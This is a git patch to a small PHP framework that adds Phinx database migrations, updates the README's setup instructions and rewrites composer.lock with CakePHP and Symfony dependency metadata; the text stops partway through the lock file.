From cde08cff9bfcc60970a46587a11679c06136a887 Mon Sep 17 00:00:00 2001 From: rsgrinko Date: Wed, 5 Apr 2023 22:46:51 +0300 Subject: [PATCH] =?UTF-8?q?[+]=20=D0=B4=D0=BE=D0=B1=D0=B0=D0=B2=D0=BB?= =?UTF-8?q?=D0=B5=D0=BD=20Phinx=20=D0=B8=20=D0=BC=D0=B8=D0=B3=D1=80=D0=B0?= =?UTF-8?q?=D1=86=D0=B8=D0=B8=20[-]=20=D1=83=D0=B4=D0=B0=D0=BB=D0=B5=D0=BD?= =?UTF-8?q?=D1=8B=20=D0=BC=D1=83=D1=81=D0=BE=D1=80=D0=BD=D1=8B=D0=B5=20?= =?UTF-8?q?=D1=84=D0=B0=D0=B9=D0=BB=D1=8B=20[*]=20=D1=81=D0=BA=D0=BE=D1=80?= =?UTF-8?q?=D1=80=D0=B5=D0=BA=D1=82=D0=B8=D1=80=D0=BE=D0=B2=D0=B0=D0=BD=20?= =?UTF-8?q?composer.json?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 1 + .idea/delta-project.iml | 10 +- .idea/php.xml | 10 +- .idea/sqldialects.xml | 9 - README.md | 16 +- chat.php | 158 --- composer.json | 4 +- composer.lock | 1357 ++++++++++++++------ core/SQL_DUMPS/files.sql | 10 - core/SQL_DUMPS/roles.sql | 13 - core/SQL_DUMPS/threads.sql | 19 - core/SQL_DUMPS/threads_history.sql | 18 - core/SQL_DUMPS/user_roles.sql | 10 - core/SQL_DUMPS/users.sql | 30 - core/lib/Core/Helpers/Ascii.class.php | 203 --- core/lib/Core/Helpers/Crypto.class.php | 118 -- core/lib/Core/ML/NeuroNetwork.class.php | 209 --- core/lib/Core/ML/Neuron.class.php | 39 - core/lib/Core/ML/Synaps.class.php | 97 -- core/migrations/000000_base.sql | 11 - core/migrations/000001_core.sql | 96 -- core/migrations/000002_users.sql | 29 - core/migrations/000003_roles.sql | 12 - core/migrations/000004_user_roles.sql | 9 - core/migrations/000005_files.sql | 7 - core/migrations/000006_threads.sql | 18 - core/migrations/000007_threads_history.sql | 15 - phinx.php | 32 + test.php | 117 -- test2.php | 34 - test3.php | 255 ---- test4.php | 20 - test5.php | 8 - 33 files changed, 1011 insertions(+), 1983 deletions(-) create mode 100644 .gitignore delete mode 100644 .idea/sqldialects.xml delete mode 100644 chat.php delete mode 100644 core/SQL_DUMPS/files.sql delete mode 100644 core/SQL_DUMPS/roles.sql delete mode 100644 core/SQL_DUMPS/threads.sql delete mode 100644 core/SQL_DUMPS/threads_history.sql delete mode 100644 core/SQL_DUMPS/user_roles.sql delete mode 100644 core/SQL_DUMPS/users.sql delete mode 100644 core/lib/Core/Helpers/Ascii.class.php delete mode 100644 core/lib/Core/Helpers/Crypto.class.php delete mode 100644 core/lib/Core/ML/NeuroNetwork.class.php delete mode 100644 core/lib/Core/ML/Neuron.class.php delete mode 100644 core/lib/Core/ML/Synaps.class.php delete mode 100644 core/migrations/000000_base.sql delete mode 100644 core/migrations/000001_core.sql delete mode 100644 core/migrations/000002_users.sql delete mode 100644 core/migrations/000003_roles.sql delete mode 100644 core/migrations/000004_user_roles.sql delete mode 100644 core/migrations/000005_files.sql delete mode 100644 core/migrations/000006_threads.sql delete mode 100644 core/migrations/000007_threads_history.sql create mode 100644 phinx.php delete mode 100644 test.php delete mode 100644 test2.php delete mode 100644 test3.php delete mode 100644 test4.php delete mode 100644 test5.php diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..57872d0 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +/vendor/ diff --git a/.idea/delta-project.iml b/.idea/delta-project.iml index 6011859..4aa79f5 100644 --- a/.idea/delta-project.iml +++ b/.idea/delta-project.iml @@ -15,7 +15,6 @@ - @@ -84,6 +83,15 @@ + + + + + + + + + diff --git a/.idea/php.xml b/.idea/php.xml index 8d246f8..baf4813 100644 --- a/.idea/php.xml +++ b/.idea/php.xml @@ -25,7 +25,6 @@ - @@ -94,6 +93,15 @@ + + + + + + + + + diff --git a/.idea/sqldialects.xml b/.idea/sqldialects.xml deleted file mode 100644 index a311b0e..0000000 --- a/.idea/sqldialects.xml +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - - \ No newline at end of file diff --git a/README.md b/README.md index e80de54..9e86d44 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,21 @@ Delta Framework - простой фреймворк для разработки const DB_NAME = 'deltacore'; ``` -На текущем этапе разработки миграции еще не готовы, поэтому требуется создание таблиц из дампов (```/core/migrations/*.sql```) +Также настройте Phinx для использования миграций (```/phinx.php```) +``` + 'host' => 'localhost', + 'name' => 'deltacore', + 'user' => 'vasya', + 'pass' => 'mysuperpassword', +``` + +Далее потребуется выполнить непосредственно сами миграции. В зависимости от окружения используйте ````dev```` или ````prod````. + +Для примера выполним миграцию в окружение для разработки + +```` + vendor/bin/phinx migrate -e dev +```` Доступ к панели управления находится тут ````https://site.ru/admin/```` diff --git a/chat.php b/chat.php deleted file mode 100644 index 66d18d7..0000000 --- a/chat.php +++ /dev/null @@ -1,158 +0,0 @@ - - - - - - - - - - - Чат для компании - - - - -
- -
- - -
- - -
- - - - -
-
- Введите сообщение -
- -
- -
- - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/composer.json b/composer.json index 0c85564..adc6071 100644 --- a/composer.json +++ b/composer.json @@ -25,8 +25,8 @@ "ext-dom": "*", "ext-pdo": "*", "ext-mbstring": "*", - "dompdf/dompdf": "^2.0", - "workerman/workerman": "^4.1" + "dompdf/dompdf": "^2.0", + "robmorgan/phinx": "^0.13.4" }, "require-dev": { "vimeo/psalm": "^4.27", diff --git a/composer.lock b/composer.lock index 2a1ebac..85fecd3 100644 --- a/composer.lock +++ b/composer.lock @@ -4,8 +4,241 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "f95169938051a3c884617e4a06deff78", + "content-hash": "9419b876e772f4ad73c85976abad7860", "packages": [ + { + "name": "cakephp/core", + "version": "4.4.12", + "source": { + "type": "git", + "url": "https://github.com/cakephp/core.git", + "reference": "d6490294420e2602e4e65fb8a17f76547c10139e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/cakephp/core/zipball/d6490294420e2602e4e65fb8a17f76547c10139e", + "reference": "d6490294420e2602e4e65fb8a17f76547c10139e", + "shasum": "" + }, + "require": { + "cakephp/utility": "^4.0", + "php": ">=7.4.0" + }, + "provide": { + "psr/container-implementation": "^1.0 || ^2.0" + }, + "suggest": { + "cakephp/cache": "To use Configure::store() and restore().", + "cakephp/event": "To use PluginApplicationInterface or plugin applications.", + "league/container": "To use Container and ServiceProvider classes" + }, + "type": "library", + "autoload": { + "files": [ + "functions.php" + ], + "psr-4": { + "Cake\\Core\\": "." + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "CakePHP Community", + "homepage": "https://github.com/cakephp/core/graphs/contributors" + } + ], + "description": "CakePHP Framework Core classes", + "homepage": "https://cakephp.org", + "keywords": [ + "cakephp", + "core", + "framework" + ], + "support": { + "forum": "https://stackoverflow.com/tags/cakephp", + "irc": "irc://irc.freenode.org/cakephp", + "issues": "https://github.com/cakephp/cakephp/issues", + "source": "https://github.com/cakephp/core" + }, + "time": "2023-03-08T05:26:37+00:00" + }, + { + "name": "cakephp/database", + "version": "4.4.12", + "source": { + "type": "git", + "url": "https://github.com/cakephp/database.git", + "reference": "855e9972882632bab7b77014dbf670e0356f52d3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/cakephp/database/zipball/855e9972882632bab7b77014dbf670e0356f52d3", + "reference": "855e9972882632bab7b77014dbf670e0356f52d3", + "shasum": "" + }, + "require": { + "cakephp/core": "^4.0", + "cakephp/datasource": "^4.0", + "php": ">=7.4.0" + }, + "suggest": { + "cakephp/i18n": "If you are using locale-aware datetime formats or Chronos types.", + "cakephp/log": "If you want to use query logging without providing a logger yourself." + }, + "type": "library", + "autoload": { + "psr-4": { + "Cake\\Database\\": "." + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "CakePHP Community", + "homepage": "https://github.com/cakephp/database/graphs/contributors" + } + ], + "description": "Flexible and powerful Database abstraction library with a familiar PDO-like API", + "homepage": "https://cakephp.org", + "keywords": [ + "abstraction", + "cakephp", + "database", + "database abstraction", + "pdo" + ], + "support": { + "forum": "https://stackoverflow.com/tags/cakephp", + "irc": "irc://irc.freenode.org/cakephp", + "issues": "https://github.com/cakephp/cakephp/issues", + "source": "https://github.com/cakephp/database" + }, + "time": "2023-02-24T22:07:16+00:00" + }, + { + "name": "cakephp/datasource", + "version": "4.4.12", + "source": { + "type": "git", + "url": "https://github.com/cakephp/datasource.git", + "reference": "cb58adb0e6f52f26fa61d03776b07c157e328c1e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/cakephp/datasource/zipball/cb58adb0e6f52f26fa61d03776b07c157e328c1e", + "reference": "cb58adb0e6f52f26fa61d03776b07c157e328c1e", + "shasum": "" + }, + "require": { + "cakephp/core": "^4.0", + "php": ">=7.4.0", + "psr/log": "^1.0 || ^2.0", + "psr/simple-cache": "^1.0 || ^2.0" + }, + "suggest": { + "cakephp/cache": "If you decide to use Query caching.", + "cakephp/collection": "If you decide to use ResultSetInterface.", + "cakephp/utility": "If you decide to use EntityTrait." + }, + "type": "library", + "autoload": { + "psr-4": { + "Cake\\Datasource\\": "." + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "CakePHP Community", + "homepage": "https://github.com/cakephp/datasource/graphs/contributors" + } + ], + "description": "Provides connection managing and traits for Entities and Queries that can be reused for different datastores", + "homepage": "https://cakephp.org", + "keywords": [ + "cakephp", + "connection management", + "datasource", + "entity", + "query" + ], + "support": { + "forum": "https://stackoverflow.com/tags/cakephp", + "irc": "irc://irc.freenode.org/cakephp", + "issues": "https://github.com/cakephp/cakephp/issues", + "source": "https://github.com/cakephp/datasource" + }, + "time": "2022-11-26T11:46:41+00:00" + }, + { + "name": "cakephp/utility", + "version": "4.4.12", + "source": { + "type": "git", + "url": "https://github.com/cakephp/utility.git", + "reference": "a6a17c556d02c57259e21127a4f3d3ec5cd8481f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/cakephp/utility/zipball/a6a17c556d02c57259e21127a4f3d3ec5cd8481f", + "reference": "a6a17c556d02c57259e21127a4f3d3ec5cd8481f", + "shasum": "" + }, + "require": { + "cakephp/core": "^4.0", + "php": ">=7.4.0" + }, + "suggest": { + "ext-intl": "To use Text::transliterate() or Text::slug()", + "lib-ICU": "To use Text::transliterate() or Text::slug()" + }, + "type": "library", + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Cake\\Utility\\": "." + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "CakePHP Community", + "homepage": "https://github.com/cakephp/utility/graphs/contributors" + } + ], + "description": "CakePHP Utility classes such as Inflector, String, Hash, and Security", + "homepage": "https://cakephp.org", + "keywords": [ + "cakephp", + "hash", + "inflector", + "security", + "string", + "utility" + ], + "support": { + "forum": "https://stackoverflow.com/tags/cakephp", + "irc": "irc://irc.freenode.org/cakephp", + "issues": "https://github.com/cakephp/cakephp/issues", + "source": "https://github.com/cakephp/utility" + }, + "time": "2023-02-24T22:07:16+00:00" + }, { "name": "clue/stream-filter", "version": "v1.6.0", @@ -1260,6 +1493,57 @@ }, "time": "2021-05-03T11:20:27+00:00" }, + { + "name": "psr/simple-cache", + "version": "1.0.1", + "source": { + "type": "git", + "url": "https://github.com/php-fig/simple-cache.git", + "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/simple-cache/zipball/408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", + "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\SimpleCache\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common interfaces for simple caching", + "keywords": [ + "cache", + "caching", + "psr", + "psr-16", + "simple-cache" + ], + "support": { + "source": "https://github.com/php-fig/simple-cache/tree/master" + }, + "time": "2017-10-23T01:57:42+00:00" + }, { "name": "ralouphie/getallheaders", "version": "3.0.3", @@ -1304,6 +1588,92 @@ }, "time": "2019-03-08T08:55:37+00:00" }, + { + "name": "robmorgan/phinx", + "version": "0.13.4", + "source": { + "type": "git", + "url": "https://github.com/cakephp/phinx.git", + "reference": "18e06e4a2b18947663438afd2f467e17c62e867d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/cakephp/phinx/zipball/18e06e4a2b18947663438afd2f467e17c62e867d", + "reference": "18e06e4a2b18947663438afd2f467e17c62e867d", + "shasum": "" + }, + "require": { + "cakephp/database": "^4.0", + "php": ">=7.2", + "psr/container": "^1.0 || ^2.0", + "symfony/config": "^3.4|^4.0|^5.0|^6.0", + "symfony/console": "^3.4|^4.0|^5.0|^6.0" + }, + "require-dev": { + "cakephp/cakephp-codesniffer": "^4.0", + "ext-json": "*", + "ext-pdo": "*", + "phpunit/phpunit": "^8.5|^9.3", + "sebastian/comparator": ">=1.2.3", + "symfony/yaml": "^3.4|^4.0|^5.0" + }, + "suggest": { + "ext-json": "Install if using JSON configuration format", + "ext-pdo": "PDO extension is needed", + "symfony/yaml": "Install if using YAML configuration format" + }, + "bin": [ + "bin/phinx" + ], + "type": "library", + "autoload": { + "psr-4": { + "Phinx\\": "src/Phinx/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Rob Morgan", + "email": "robbym@gmail.com", + "homepage": "https://robmorgan.id.au", + "role": "Lead Developer" + }, + { + "name": "Woody Gilk", + "email": "woody.gilk@gmail.com", + "homepage": "https://shadowhand.me", + "role": "Developer" + }, + { + "name": "Richard Quadling", + "email": "rquadling@gmail.com", + "role": "Developer" + }, + { + "name": "CakePHP Community", + "homepage": "https://github.com/cakephp/phinx/graphs/contributors", + "role": "Developer" + } + ], + "description": "Phinx makes it ridiculously easy to manage the database migrations for your PHP app.", + "homepage": "https://phinx.org", + "keywords": [ + "database", + "database migrations", + "db", + "migrations", + "phinx" + ], + "support": { + "issues": "https://github.com/cakephp/phinx/issues", + "source": "https://github.com/cakephp/phinx/tree/0.13.4" + }, + "time": "2023-01-07T00:42:55+00:00" + }, { "name": "sabberworm/php-css-parser", "version": "8.4.0", @@ -1518,6 +1888,184 @@ ], "time": "2023-03-16T10:37:16+00:00" }, + { + "name": "symfony/config", + "version": "v5.4.21", + "source": { + "type": "git", + "url": "https://github.com/symfony/config.git", + "reference": "2a6b1111d038adfa15d52c0871e540f3b352d1e4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/config/zipball/2a6b1111d038adfa15d52c0871e540f3b352d1e4", + "reference": "2a6b1111d038adfa15d52c0871e540f3b352d1e4", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "symfony/deprecation-contracts": "^2.1|^3", + "symfony/filesystem": "^4.4|^5.0|^6.0", + "symfony/polyfill-ctype": "~1.8", + "symfony/polyfill-php80": "^1.16", + "symfony/polyfill-php81": "^1.22" + }, + "conflict": { + "symfony/finder": "<4.4" + }, + "require-dev": { + "symfony/event-dispatcher": "^4.4|^5.0|^6.0", + "symfony/finder": "^4.4|^5.0|^6.0", + "symfony/messenger": "^4.4|^5.0|^6.0", + "symfony/service-contracts": "^1.1|^2|^3", + "symfony/yaml": "^4.4|^5.0|^6.0" + }, + "suggest": { + "symfony/yaml": "To use the yaml reference dumper" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Config\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Helps you find, load, combine, autofill and validate configuration values of any kind", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/config/tree/v5.4.21" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-02-14T08:03:56+00:00" + }, + { + "name": "symfony/console", + "version": "v5.4.21", + "source": { + "type": "git", + "url": "https://github.com/symfony/console.git", + "reference": "c77433ddc6cdc689caf48065d9ea22ca0853fbd9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/console/zipball/c77433ddc6cdc689caf48065d9ea22ca0853fbd9", + "reference": "c77433ddc6cdc689caf48065d9ea22ca0853fbd9", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "symfony/deprecation-contracts": "^2.1|^3", + "symfony/polyfill-mbstring": "~1.0", + "symfony/polyfill-php73": "^1.9", + "symfony/polyfill-php80": "^1.16", + "symfony/service-contracts": "^1.1|^2|^3", + "symfony/string": "^5.1|^6.0" + }, + "conflict": { + "psr/log": ">=3", + "symfony/dependency-injection": "<4.4", + "symfony/dotenv": "<5.1", + "symfony/event-dispatcher": "<4.4", + "symfony/lock": "<4.4", + "symfony/process": "<4.4" + }, + "provide": { + "psr/log-implementation": "1.0|2.0" + }, + "require-dev": { + "psr/log": "^1|^2", + "symfony/config": "^4.4|^5.0|^6.0", + "symfony/dependency-injection": "^4.4|^5.0|^6.0", + "symfony/event-dispatcher": "^4.4|^5.0|^6.0", + "symfony/lock": "^4.4|^5.0|^6.0", + "symfony/process": "^4.4|^5.0|^6.0", + "symfony/var-dumper": "^4.4|^5.0|^6.0" + }, + "suggest": { + "psr/log": "For using the console logger", + "symfony/event-dispatcher": "", + "symfony/lock": "", + "symfony/process": "" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Console\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Eases the creation of beautiful and testable command line interfaces", + "homepage": "https://symfony.com", + "keywords": [ + "cli", + "command line", + "console", + "terminal" + ], + "support": { + "source": "https://github.com/symfony/console/tree/v5.4.21" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-02-25T16:59:41+00:00" + }, { "name": "symfony/deprecation-contracts", "version": "v2.5.2", @@ -1585,6 +2133,70 @@ ], "time": "2022-01-02T09:53:40+00:00" }, + { + "name": "symfony/filesystem", + "version": "v5.4.21", + "source": { + "type": "git", + "url": "https://github.com/symfony/filesystem.git", + "reference": "e75960b1bbfd2b8c9e483e0d74811d555ca3de9f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/filesystem/zipball/e75960b1bbfd2b8c9e483e0d74811d555ca3de9f", + "reference": "e75960b1bbfd2b8c9e483e0d74811d555ca3de9f", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "symfony/polyfill-ctype": "~1.8", + "symfony/polyfill-mbstring": "~1.8", + "symfony/polyfill-php80": "^1.16" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Filesystem\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides basic utilities for the filesystem", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/filesystem/tree/v5.4.21" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-02-14T08:03:56+00:00" + }, { "name": "symfony/http-client", "version": "v5.4.21", @@ -1901,6 +2513,171 @@ ], "time": "2022-11-03T14:55:06+00:00" }, + { + "name": "symfony/polyfill-intl-grapheme", + "version": "v1.27.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-intl-grapheme.git", + "reference": "511a08c03c1960e08a883f4cffcacd219b758354" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/511a08c03c1960e08a883f4cffcacd219b758354", + "reference": "511a08c03c1960e08a883f4cffcacd219b758354", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "suggest": { + "ext-intl": "For best performance" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.27-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Intl\\Grapheme\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for intl's grapheme_* functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "grapheme", + "intl", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.27.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2022-11-03T14:55:06+00:00" + }, + { + "name": "symfony/polyfill-intl-normalizer", + "version": "v1.27.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-intl-normalizer.git", + "reference": "19bd1e4fcd5b91116f14d8533c57831ed00571b6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/19bd1e4fcd5b91116f14d8533c57831ed00571b6", + "reference": "19bd1e4fcd5b91116f14d8533c57831ed00571b6", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "suggest": { + "ext-intl": "For best performance" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.27-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Intl\\Normalizer\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for intl's Normalizer class and related functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "intl", + "normalizer", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.27.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2022-11-03T14:55:06+00:00" + }, { "name": "symfony/polyfill-mbstring", "version": "v1.27.0", @@ -2146,6 +2923,85 @@ ], "time": "2022-11-03T14:55:06+00:00" }, + { + "name": "symfony/polyfill-php81", + "version": "v1.27.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php81.git", + "reference": "707403074c8ea6e2edaf8794b0157a0bfa52157a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php81/zipball/707403074c8ea6e2edaf8794b0157a0bfa52157a", + "reference": "707403074c8ea6e2edaf8794b0157a0bfa52157a", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.27-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php81\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.1+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php81/tree/v1.27.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2022-11-03T14:55:06+00:00" + }, { "name": "symfony/service-contracts", "version": "v2.5.2", @@ -2229,6 +3085,92 @@ ], "time": "2022-05-30T19:17:29+00:00" }, + { + "name": "symfony/string", + "version": "v5.4.21", + "source": { + "type": "git", + "url": "https://github.com/symfony/string.git", + "reference": "edac10d167b78b1d90f46a80320d632de0bd9f2f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/string/zipball/edac10d167b78b1d90f46a80320d632de0bd9f2f", + "reference": "edac10d167b78b1d90f46a80320d632de0bd9f2f", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "symfony/polyfill-ctype": "~1.8", + "symfony/polyfill-intl-grapheme": "~1.0", + "symfony/polyfill-intl-normalizer": "~1.0", + "symfony/polyfill-mbstring": "~1.0", + "symfony/polyfill-php80": "~1.15" + }, + "conflict": { + "symfony/translation-contracts": ">=3.0" + }, + "require-dev": { + "symfony/error-handler": "^4.4|^5.0|^6.0", + "symfony/http-client": "^4.4|^5.0|^6.0", + "symfony/translation-contracts": "^1.1|^2", + "symfony/var-exporter": "^4.4|^5.0|^6.0" + }, + "type": "library", + "autoload": { + "files": [ + "Resources/functions.php" + ], + "psr-4": { + "Symfony\\Component\\String\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way", + "homepage": "https://symfony.com", + "keywords": [ + "grapheme", + "i18n", + "string", + "unicode", + "utf-8", + "utf8" + ], + "support": { + "source": "https://github.com/symfony/string/tree/v5.4.21" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-02-22T08:00:55+00:00" + }, { "name": "twig/twig", "version": "v3.5.1", @@ -2304,69 +3246,6 @@ } ], "time": "2023-02-08T07:49:20+00:00" - }, - { - "name": "workerman/workerman", - "version": "v4.1.9", - "source": { - "type": "git", - "url": "https://github.com/walkor/workerman.git", - "reference": "1f92d02c26106b5fbe6f61ea776198aad6e426f7" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/walkor/workerman/zipball/1f92d02c26106b5fbe6f61ea776198aad6e426f7", - "reference": "1f92d02c26106b5fbe6f61ea776198aad6e426f7", - "shasum": "" - }, - "require": { - "php": ">=7.0" - }, - "suggest": { - "ext-event": "For better performance. " - }, - "type": "library", - "autoload": { - "psr-4": { - "Workerman\\": "./" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "walkor", - "email": "walkor@workerman.net", - "homepage": "http://www.workerman.net", - "role": "Developer" - } - ], - "description": "An asynchronous event driven PHP framework for easily building fast, scalable network applications.", - "homepage": "http://www.workerman.net", - "keywords": [ - "asynchronous", - "event-loop" - ], - "support": { - "email": "walkor@workerman.net", - "forum": "http://wenda.workerman.net/", - "issues": "https://github.com/walkor/workerman/issues", - "source": "https://github.com/walkor/workerman", - "wiki": "http://doc.workerman.net/" - }, - "funding": [ - { - "url": "https://opencollective.com/workerman", - "type": "open_collective" - }, - { - "url": "https://www.patreon.com/walkor", - "type": "patreon" - } - ], - "time": "2023-03-10T13:59:12+00:00" } ], "packages-dev": [ @@ -5005,356 +5884,6 @@ ], "time": "2020-09-28T06:39:44+00:00" }, - { - "name": "symfony/console", - "version": "v5.4.21", - "source": { - "type": "git", - "url": "https://github.com/symfony/console.git", - "reference": 